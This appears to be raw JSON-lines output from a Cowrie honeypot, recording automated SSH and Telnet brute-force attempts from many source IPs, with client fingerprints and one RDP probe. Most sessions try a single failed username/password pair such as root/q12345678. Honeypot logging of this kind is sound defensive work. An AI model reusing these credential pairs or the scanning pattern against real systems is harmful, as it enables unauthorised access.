{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:43:32.237222Z","src_ip":"103.172.78.219","session":"6a660d39694b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q12345678","message":"login attempt [root/q12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:43:33.003118Z","src_ip":"103.172.78.219","session":"6a660d39694b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:43:34.261740Z","src_ip":"103.172.78.219","session":"6a660d39694b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":58742,"dst_ip":"159.203.135.109","dst_port":22,"session":"382a8fab407b","protocol":"ssh","message":"New connection: 103.176.20.57:58742 (159.203.135.109:22) [session: 382a8fab407b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:43:36.384926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:43:36.389994Z","src_ip":"103.176.20.57","session":"382a8fab407b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:43:36.639353Z","src_ip":"103.176.20.57","session":"382a8fab407b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vlad1997","message":"login attempt [root/vlad1997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:43:37.391605Z","src_ip":"103.176.20.57","session":"382a8fab407b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:43:38.643352Z","src_ip":"103.176.20.57","session":"382a8fab407b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":57129,"dst_ip":"10.17.0.5","dst_port":22,"session":"416694f0f2d7","protocol":"ssh","message":"New connection: 152.42.212.128:57129 (10.17.0.5:22) [session: 416694f0f2d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:44:21.297943Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:44:21.302589Z","src_ip":"152.42.212.128","session":"416694f0f2d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:44:21.306363Z","src_ip":"152.42.212.128","session":"416694f0f2d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":36836,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee4ee597facb","protocol":"ssh","message":"New connection: 80.94.92.186:36836 (159.203.135.109:22) [session: ee4ee597facb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:44:23.880849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:44:23.940231Z","src_ip":"80.94.92.186","session":"ee4ee597facb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:44:24.062668Z","src_ip":"80.94.92.186","session":"ee4ee597facb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"123456","message":"login attempt [lighthouse/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:44:24.642496Z","src_ip":"80.94.92.186","session":"ee4ee597facb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:44:25.961541Z","src_ip":"80.94.92.186","session":"ee4ee597facb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":36436,"dst_ip":"10.17.0.5","dst_port":22,"session":"98300ef9bfee","protocol":"ssh","message":"New connection: 62.133.62.83:36436 (10.17.0.5:22) [session: 98300ef9bfee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:44:41.922341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:44:41.927341Z","src_ip":"62.133.62.83","session":"98300ef9bfee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:44:42.006891Z","src_ip":"62.133.62.83","session":"98300ef9bfee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"killer1","message":"login attempt [root/killer1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:44:42.245516Z","src_ip":"62.133.62.83","session":"98300ef9bfee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:44:43.327667Z","src_ip":"62.133.62.83","session":"98300ef9bfee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":55008,"dst_ip":"159.203.135.109","dst_port":22,"session":"36cce082501d","protocol":"ssh","message":"New connection: 2.57.122.238:55008 (159.203.135.109:22) [session: 36cce082501d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:44:54.621907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:44:54.626127Z","src_ip":"2.57.122.238","session":"36cce082501d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:44:54.724997Z","src_ip":"2.57.122.238","session":"36cce082501d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:44:55.022281Z","src_ip":"2.57.122.238","session":"36cce082501d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:44:56.124016Z","src_ip":"2.57.122.238","session":"36cce082501d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35854,"dst_ip":"10.17.0.5","dst_port":23,"session":"18c076843a2d","protocol":"telnet","message":"New connection: 192.119.13.58:35854 (10.17.0.5:23) [session: 18c076843a2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:45:11.190557Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":38568,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f5a3a4df13a","protocol":"ssh","message":"New connection: 103.149.170.125:38568 (10.17.0.5:22) [session: 4f5a3a4df13a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:45:13.545164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:45:13.550341Z","src_ip":"103.149.170.125","session":"4f5a3a4df13a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:45:13.810496Z","src_ip":"103.149.170.125","session":"4f5a3a4df13a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"twilight","message":"login attempt [root/twilight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:45:14.592285Z","src_ip":"103.149.170.125","session":"4f5a3a4df13a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:45:15.858951Z","src_ip":"103.149.170.125","session":"4f5a3a4df13a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.191527366638184,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:45:54.381942Z","src_ip":"192.119.13.58","session":"18c076843a2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":47848,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d18dd5bd3da","protocol":"ssh","message":"New connection: 103.149.28.157:47848 (10.17.0.5:22) [session: 5d18dd5bd3da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:46:07.713368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:46:07.718601Z","src_ip":"103.149.28.157","session":"5d18dd5bd3da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:46:07.980544Z","src_ip":"103.149.28.157","session":"5d18dd5bd3da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"5532361cnjqrf","message":"login attempt [root/5532361cnjqrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:46:08.764634Z","src_ip":"103.149.28.157","session":"5d18dd5bd3da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:46:10.031978Z","src_ip":"103.149.28.157","session":"5d18dd5bd3da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":34312,"dst_ip":"10.17.0.5","dst_port":22,"session":"787a26e41404","protocol":"ssh","message":"New connection: 193.228.128.84:34312 (10.17.0.5:22) [session: 787a26e41404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:46:19.661819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:46:19.700204Z","src_ip":"193.228.128.84","session":"787a26e41404","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:46:19.813423Z","src_ip":"193.228.128.84","session":"787a26e41404","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lollol","message":"login attempt [root/lollol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:46:20.183590Z","src_ip":"193.228.128.84","session":"787a26e41404","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:46:21.288410Z","src_ip":"193.228.128.84","session":"787a26e41404","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":57416,"dst_ip":"10.17.0.5","dst_port":22,"session":"790143aa4394","protocol":"ssh","message":"New connection: 147.45.197.250:57416 (10.17.0.5:22) [session: 790143aa4394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:46:43.565676Z"}
